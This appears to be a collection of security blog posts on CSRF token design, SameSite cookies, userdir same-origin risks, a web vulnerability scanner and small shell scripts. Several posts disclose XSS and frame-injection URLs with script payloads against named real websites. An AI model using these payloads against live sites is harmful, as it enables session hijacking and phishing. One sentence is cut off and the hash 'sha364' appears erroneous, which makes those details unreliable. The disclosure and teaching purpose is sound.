Hanno's blog

For a small web project I recently had to consider how to generate secure tokens to prevent Cross Site Request Forgery (CSRF). I wanted to share how I think this should be done, primarily to get some feedback whether other people agree or see room for improvement.

I am not going to discuss CSRF in general here, I will generally assume that you are aware of how this attack class works. The standard method to protect against CSRF is to add a token to every form that performs an action that is sufficiently random and unique for the session.

Some web applications use the same token for every request or at least the same token for every request of the same kind. However this is problematic due to some TLS attacks.

There are several attacks against TLS and HTTPS that work by generating a large number of requests and then slowly learning about a secret. A common target of such attacks are CSRF tokens. The list of these attacks is long: BEAST, all Padding Oracle attacks (Lucky Thirteen, POODLE, Zombie POODLE, GOLDENDOODLE), RC4 bias attacks and probably a few more that I have forgotten about. The good news is that none of these attacks should be a concern, because they all affect fragile cryptography that is no longer present in modern TLS stacks.

However there is a class of TLS attacks that is still a concern, because there is no good general fix, and these are compression based attacks. The first such attack that has been shown was called CRIME, which targeted TLS compression. TLS compression is no longer used, but a later attack called BREACH used HTTP compression, which is still widely in use and which nobody wants to disable, because HTML code compresses so well. Further improvements of these attacks are known as TIME and HEIST.

I am not going to discuss these attacks in detail, it is sufficient to know that they all rely on a secret being transmitted again and again over a connection. So CSRF tokens are vulnerable to this if they are the same over multiple connections. If we have an always changing CSRF token this attack does not apply to it.

An obvious fix for this is to always generate new CSRF tokens. However this requires quite a bit of state management on the server or other trade-offs, therefore I don’t think it’s desirable. Rather a good concept would be to keep a single server-side secret, but put some randomness in so the token changes on every request.

The BREACH authors have the following brief recommendation (thanks to Ivan Ristic for pointing this out): “Masking secrets (effectively randomizing by XORing with a random secret per request)”.

I read this as having a real token and a random value and the CSRF token would look like random_value + XOR(random_value, real_token). The server could verify this by splitting up the token, XORing the first half with the second and then comparing that to the real token.

However I would like to add something: I would prefer if a token used for one form and action cannot be used for another action. In case there is any form of token exfiltration it seems reasonable to limit the utility of the token as much as possible.

My idea is therefore to use a cryptographic hash function instead of XOR and add a scope string. This could be something like “adduser”, “addblogpost” etc., anything that identifies the action.

The server would keep a secret token per session on the server side and the CSRF token would look like this: random_value + hash(random_value + secret_token + scope). The random value changes each time the token is sent.

I have created some simple PHP code to implement this (if there is sufficient interest I will learn how to turn this into a composer package). The usage is very simple, there is one function to create a token that takes a scope string as the only parameter and another to check a token that takes the public token and the scope and returns true or false.

As for the implementation details I am using 256 bit random values and secret tokens, which is excessively too much and should avoid any discussion about them being too short. For the hash I am using sha364, which is widely supported and not vulnerable to length extension attacks. I do not see any reason why length extension attacks would be relevant here, but still this feels safer. I believe the order of the hash inputs should not matter, but I have seen constructions where having
The CSRF token is Base64-encoded, which should work fine in HTML forms.

My question would be if people think this is a sane design or if they see room for improvement. Also as this is all relatively straightforward and obvious, I am almost sure I am not the first person to invent this, pointers welcome.

Now there is an elephant in the room I also need to discuss. Form tokens are the traditional way to prevent CSRF attacks, but in recent years browsers have introduced a new and completely different way of preventing CSRF attacks called SameSite Cookies. The long term plan is to enable them by default, which would likely make CSRF almost impossible. (These plans have been delayed due to Covid-19 and there will probably be some unfortunate compatibility trade-offs that are reason enough to still set the flag manually in a SameSite-by-default world.)

SameSite Cookies have two flavors: Lax and Strict. When set to Lax, which is what I would recommend that every web application should do, POST requests sent from another host are sent without the Cookie. With Strict all requests, including GET requests, sent from another host are sent without the Cookie. I do not think this is a desirable setting in most cases, as this breaks many workflows and GET requests should not perform any actions anyway.

Now here is a question I have: Are SameSite cookies enough? Do we even need to worry about CSRF tokens any more or can we just skip them? Are there any scenarios where one can bypass SameSite Cookies, but not CSRF tokens?

One could of course say “Why not both?” and see this as a kind of defense in depth. It is a popular mode of thinking to always see more security mechanisms as better, but I do not agree with that reasoning. Security mechanisms introduce complexity and if you can do with less complexity you usually should. CSRF tokens always felt like an ugly solution to me, and I feel SameSite Cookies are a much cleaner way to solve this problem.

So are there situations where SameSite Cookies do not protect and we need tokens? The obvious one is old browsers that do not support SameSite Cookies, however they have been around for a while and if you are willing to not support really old and obscure browsers that should not matter.

A remaining problem I could think of is software that accepts action requests both as GET and POST variables (e. g. in PHP if one uses the $_REQUESTS variable instead of $_POST). These need to be avoided, but using GET for anything that performs actions in the application should not be done anyway. (SameSite=Strict does not really fix his, as GET requests can still plausibly come from links, e. g. on applications that support internal messaging.)

Also an edge case problem may be a transition period: If a web application removes CSRF tokens and starts using SameSite Cookies at the same time Users may still have old Cookies around without the flag. So a transition period at least as long as the Cookie lifetime should be used.

Furthermore there are bypasses for the SameSite-by-default Cookies as planned by browser vendors, but these do not apply when the web application sets the SameSite flag itself. (Essentially the SameSite-by-default Cookies are only SameSite after two minutes, so there is a small window for an attack after setting the Cookie.)

Considering all this if one carefully makes sure that actions can only be performed by POST requests, sets SameSite=Lax on all Cookies and plans a transition period one should be able to safely remove CSRF tokens. Anyone disagrees?

Image sources: Piqsels, Wikimedia Commons

I would like to point out a security problem with a classic variant of web space hosting. While this issue should be obvious to anyone knowing basic web security, I have never seen it being discussed publicly.

Some server operators allow every user on the system to have a personal web space where they can place files in a directory (often ~/public_html) and they will appear on the host under a URL with a tilde and their username (e.g. https://example.org/~username/). The Apache web server provides such a function in the mod_userdir module. While this concept is rather old, it is still used by some and is often used by universities and Linux distributions.

From a web security perspective there is a very obvious problem with such setups that stems from the same origin policy, which is a core principle of Javascript security. While there are many subtleties about it, the key principle is that a piece of Javascript running on one web host is isolated from other web hosts.

To put this into a practical example: If you read your emails on a web interface on example.com then a script running on example.org should not be able to read your mails, change your password or mess in any other way with the application running on a different host. However if an attacker can place a script on example.com, which is called a Cross Site Scripting or XSS vulnerability, the attacker may be able to do all that.

The problem with userdir URLs should now become obvious: All userdir URLs on one server run on the same host and thus are in the same origin. It has XSS by design.

What does that mean in practice? Let‘s assume we have Bob, who has the username „bob“ on exampe.org, runs a blog on https://example.org/~bob/. User Mallory, who has the username „mallory“ on the same host, wants to attack Bob. If Bob is currently logged into his blog and Mallory manages to convince Bob to open her webpage – hosted at https://example.org/~mallory/ - at the same time she can place an attack script there that will attack Bob. The attack could be a variety of things from adding another user to the blog, changing Bob‘s password or reading unpublished content.

This is only an issue if the users on example.org do not trust each other, so the operator of the host may decide this is no problem if there is only a small number of trusted users. However there is another issue: An XSS vulnerability on any of the userdir web pages on the same host may be used to attack any other web page on the same host.

So if for example Alice runs an outdated web application with a known XSS vulnerability on https://example.org/~alice/ and Bob runs his blog on https://example.org/~bob/ then Mallory can use the vulnerability in Alice‘s web application to attack Bob.

All of this is primarily an issue if people run non-trivial web applications that have accounts and logins. If the web pages are only used to host static content the issues become much less problematic, though it is still with some limitations possible that one user could show the webpage of another user in a manipulated way.

So what does that mean? You probably should not use userdir URLs for anything except hosting of simple, static content - and probably not even there if you can avoid it. Even in situations where all users are considered trusted there is an increased risk, as vulnerabilities can cross application boundaries. As for Apache‘s mod_userdir I have contacted the Apache developers and they agreed to add a warning to the documentation.

If you want to provide something similar to your users you might want to give every user a subdomain, for example https://alice.example.org/, https://bob.example.org/ etc. There is however still a caveat with this: Unfortunately the same origin policy does not apply to all web technologies and particularly it does not apply to Cookies. However cross-hostname Cookie attacks are much less straightforward and there is often no practical attack scenario, thus using subdomains is still the more secure choice.

To avoid these Cookie issues for domains where user content is hosted regularly – a well-known example is github.io – there is the Public Suffix List for such domains. If you run a service with user subdomains you might want to consider adding your domain there, which can be done with a pull request.

I recently held a workshop about cryptography for web developers at the company Internations. I am publishing the slides here.

Part 1: Crypto and Web [PDF] [LaTeX], [Slideshare]
Part 2: How broken is TLS? [PDF] [LaTeX], [Slideshare]
Part 3: Don't do this yourself [PDF] [LaTeX], [Slideshare]
Part 4: Hashing, Tokens, Randomness [PDF] [LaTeX], [Slideshare]
Part 5: Don't believe the Crypto Hype [PDF] [LaTeX] [Slideshare]

Part 2 is the same talk I recently have at the Easterhegg conference about TLS.

Ich halte morgen (11.04.2014) einen Vortrag im Hackerspace AFRA in Berlin. Hier die Ankündigung:

Beliebte Webanwendungen und Content-Management-Systeme haben regelmäßig Sicherheitslücken. Nutzer müssen diese Anwendungen regelmäßig updaten, aber viele Betreiber von Webseiten sind sich dessen nicht bewusst. Im Rahmen des Betriebs von Servern mit einigen Hundert Kunden habe ich das Tool FreeWVS entwickelt, mit dem sich Webanwendungen mit bekannten Sicherheitslücken erkennen lassen. Wenn man Updates versäumt, tauchen fast zwangsweise irgendwann gehackte Webanwendungen auf. Diese aufzuspüren ist aber nicht unbedingt trivial. Wenn es zu spät ist, wird der eigene Server unter Umständen zur Spamschleuder oder wird für DDoS-Attacken missbraucht.

Beginn 20:00 Uhr, die AFRA befindet sich in der Herzbergstraße 55, nahe der Tram-Haltestelle Haltestelle Herzbergstraße/Siegfriedstraße.

Update: Die Slides gibt's hier als PDF, hier als Latex-Source und auf Slideshare.

I recently stepped upon a webpage where I wanted to extract an image. However, after saving the page with my browser I couldn't find any JPG or PNG file. After looking into this, I saw some CSS code that looked like this:

background-image:url("data:image/jpeg;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgAQAAAABbAUdZAAAAE0lEQVR4AWNgYPj/n4oElU1jAADtvT/BfzVwSgAAAABJRU5ErkJggg==";

What this does is that it embeds a base64 encoded image file into the CSS layout. I found some tools to create such images, but I found none to extract them. It isn't very hard to extract such an image, I wrote a small bash script that will do and that I'd like to share:

#!/bin/sh
n=1
for i in `grep -ho "base64,[A-Za-z0-9+/=]*" $@|sed -e "s:base64,::g"`; do
echo $i | base64 -d > file_$n
n=`expr $n + 1`
done

Save this as css2base64 and pass HTML or CSS files on the command line (e. g. css2base64 test.html test.css).

Hope this helps others. If this script is copyrightable at all (which I doubt), I hereby release it (like the other content of my blog) as CC0 / Public Domain.

Seems with the latest versions of webkit-gtk and midori, a long-standing crasher-bug got fixed and it now allows you to run the browser-test ACID3.

I just bumped the webkit-gtk ebuild in Gentoo to the latest snapshot.

ACID3 is a test for the standards compliance of modern web browsers. I wrote about ACID2 some years ago.

One of the biggest threats in computer security today are web applications. There's a vast number of issues found in popular web apps, mostly cross site scripting, cross site request forgery and sql injection. For a long time I had the idea of a tool scanning through webroots and looking for popular web applications, comparing them with a database of their latest security issues. In the past weeks, I finaly managed to get some code done.

It's a quite simple python-script (don't cry about the source quality, I haven't done real coding for ages), together with a database of some popular applications. I'm looking forward to hear feedback. The usage is simple, just do something like this:
freewvs /home/joe/websites/foo /home/guest/websites/bar
Typical output looks like this:
WebsiteBaker 2.4.3 (2.6.5) CVE-2007-0527 /home/hanno/freewvs/test/websitebaker
Drupal 5.1 (5.3) CVE-2007-5416 /home/hanno/freewvs/test/drupal
PhpWebGallery 1.5.1 () CVE-2007-5012 /home/hanno/freewvs/test/phpwebgallery
Mostly self explaining. The found app at the beginning, the version where the issue was fixed in brackets, the CVE-ID (or some other vulnerability id, in doubt an URL) and the path.

The biggest work to do is probably to get more applications added to the database and to keep the database updated. It's format is pretty self-explaining, so I'm waiting for your patches.

Get it here: https://freewvs.schokokeks.org/

I still have some unresolved xss vulnerabilities around. It seems to be common practice by many web application developers and web designers to ignore such information.

This time we have gobi, a cms system based on the quite popular javascript application server helma.

http://int21.de/cve/CVE-2007-3693-gobi.txt

More to come. As this xss stuff is far too easy (try some common strings in web forms, inform the author, publish some weeks later), I think about doing some kind of automated mechanism to search and report those vulnerabilities.

Up until recently, I had URLs of the form /item/number, which is due to the reason that this was the URL-naming-scheme of bblog, an ancient blogging software I used years back. Now serendipity supports URLs with the title (minus problematic charakters), which is much better for search engines, because they often rate words that appear in the url better. Now, changing the URL after years of blogging doesn't seem appropriate (probably hundreds of links, trackbacks, bookmarks), so I needed some migration path. Serendipity doesn't support two url schemes out of the box, so I hacked some bash to do the trick. This will generate (after changing the url) forward rules (add them to .htaccess after the s9y-stuff), which send a »moved permanently«-answer. This has do be done only once, as there won't be links on new articles with the old scheme.
It's a fast hack and it probably doesn't fit in other situations without changes, but it's a nice example how fast you get somewhere with some bash and sed magic:

for i in `seq 1 31`; do

        wget --quiet -O - http://www.hboeck.de/archives/P$i.html|grep serendipity_title | \

        sed -e 's:^.*href="\([^"]*\)">.*$:\1:g' | \

        sed -e 's:^/\w*/\(\w*\)-.*:RewriteRule ^item/\1 \0 [L,R=301]:g'

done

It's terrifying how many sites there are out there with XSS-issues.

http://www.netbeat.de/bestellen/domaincheck.html?<script>alert(1)</script>
http://www.netbeat.de/support/kommentare.html?name="><script>alert(1)</script>
http://www.symlink.ch/users.pl?unickname="><script>alert(1)</script>
http://www.stuttgart.de/sde/search.php?search=%22><script>alert%281%29</script>
http://www.holidayranking.de/search.html?searchSearchString="><script>alert(1)</script>
http://www.freecity.de/suche/index.phtml?gosearch=yes&words="><script>alert(1)</script>
http://search.netdoktor.com/results.html?qt="><script>alert(1)</script>&la=de
http://www.vfb.de/de/suche/index.php?words="><script>alert(1)</script>
http://www.dvd.de/dvd-and-date/alledvd.asp?strTxt="><script>alert(1)</script>

Note: All have been informed more than a week ago. I also had a bunch of others that got fixed after notification of the webmasters.

Napster and MPAA still unfixed.

Note: This is just a short form of a german article I posted today. E-Plus is a big german mobile telephony provider. I've found a bunch of XSS together with Alexander Brachmann (responsible disclosure, all reported to E-Plus before, probably more to come).

For my english visitors, here are the urls:
http://www.eplus.de/meta/shopsuche/suche_ausgabe.asp?suchwort="><script>alert(1)</script>
http://www.eplus.de/frame.asp?go=http://www.eplus.de/');alert(1);document.write('
http://www.eplus.de/frame.asp?go=');alert('

Already fixed ones:
http://www.eplus.de/frame.asp?go=http://www.google.de/
http://www.eplus.de/frame.asp?go=http://www.eplus.de@www.google.de
http://www.eplus.de/frame.asp?go=http://www.eplus.dedomain.com
http://www.eplus.de/frame.asp?go=http://www.eplus.de.mydomain.com

Von XSS (Cross Site Scripting) spricht man, wenn es durch Usereingaben möglich ist, bei einer Seite eigenen HTML und JavaScript-Code einzufügen. Das ist insbesondere dann ein Problem, wenn die Seite (auf der selben Domain reicht) in irgendeiner Weise Sessions und Accounts nutzt. Warum? Weil es trivial möglich ist, mit etwas JavaScript-Code das Session-Cookie zu übertragen und somit den Account zu hijacken.

Ein simples Beispiel:
http://www.eplus.de/meta/shopsuche/suche_ausgabe.asp?suchwort="><script>alert(1)</script>

Durch die bloße Eingabe von "><script>alert(1)</script> oder <script>alert(1)</script> lässt sich jedes Formular auf triviale XSS-Probleme checken (einfach mal ausprobieren).

Problemfall Frames: Aufgrund der Tatsache, dass ein bestimmter Framezustand nicht in einer URL festhaltbar ist, haben sich viele Menschen mehr oder weniger sinnvolle Fakes ausgedacht, die dann häufig in der Form http://mydomain.com/framescript?location=siteinframe daherkommen.
Nun kann man sowas ausnutzen, um in einem Frame eine Fremdseite darzustellen. Bis vor kurzem funktionierte dies noch:
http://www.eplus-unternehmen.de/frame.asp?go=http://www.google.de/
Kurze Zeit später wurde selbiges gefiltert, mit folgendem kam man aber immer noch weiter:
http://www.eplus.de/frame.asp?go=http://www.eplus.de@www.google.de
http://www.eplus.de/frame.asp?go=http://www.eplus.dedomain.com
http://www.eplus.de/frame.asp?go=http://www.eplus.de.mydomain.com
Gehen inzwischen alle nicht mehr.
Problem? Phishing. Funktioniert selbiges bei einer Bank oder einem sonstigen Unternehmen, bei dem größere Beträge eine Rolle spielen, ist es für Phisher attraktiv, unbedarften Menschen eine Nachricht zu schicken, die eine echt aussehende URL des Unternehmens enthält.

Was bei obriger URL nach wie vor funktioniert, ist eine etwas trickreichere JavaScript-Injection:
http://www.eplus.de/frame.asp?go=http://www.eplus.de/');alert(1);document.write('
http://www.eplus.de/frame.asp?go=');alert('
Das schöne hierbei ist, dass die Variable direkt in bereits bestehenden JavaScript-Code eingefügt wird.

Desweiteren hat eplus noch mehr Domains und anderswo funktioniert es noch:
http://www.eplus-unlimited.de/3_1_jingles/index.jsp?toLoad=http://www.google.de//

E-Plus wurde vor über einem Monat mit den ersten Lücken kontaktiert. Die Schließung erfolgte schleppend, weswegen mir die Veröffentlichung hier angemessen erscheint. Die Veröffentlichung wurde vor einer Woche angekündigt. Es wurden keine Lücken publiziert, von denen E-Plus nicht schon mindestens vor einer Woche bescheid wusste.

Credits gehen vor allem an Alexander Brachmann.

In aller Regel betreibe ich Responsible Disclosure: Vor einer öffentlichen Publizierung wird der Anbieter oder Autor der Software mit Vorlauf informiert.

Heut abend beim Webmontag gibt's ne Kurz-Präsentation.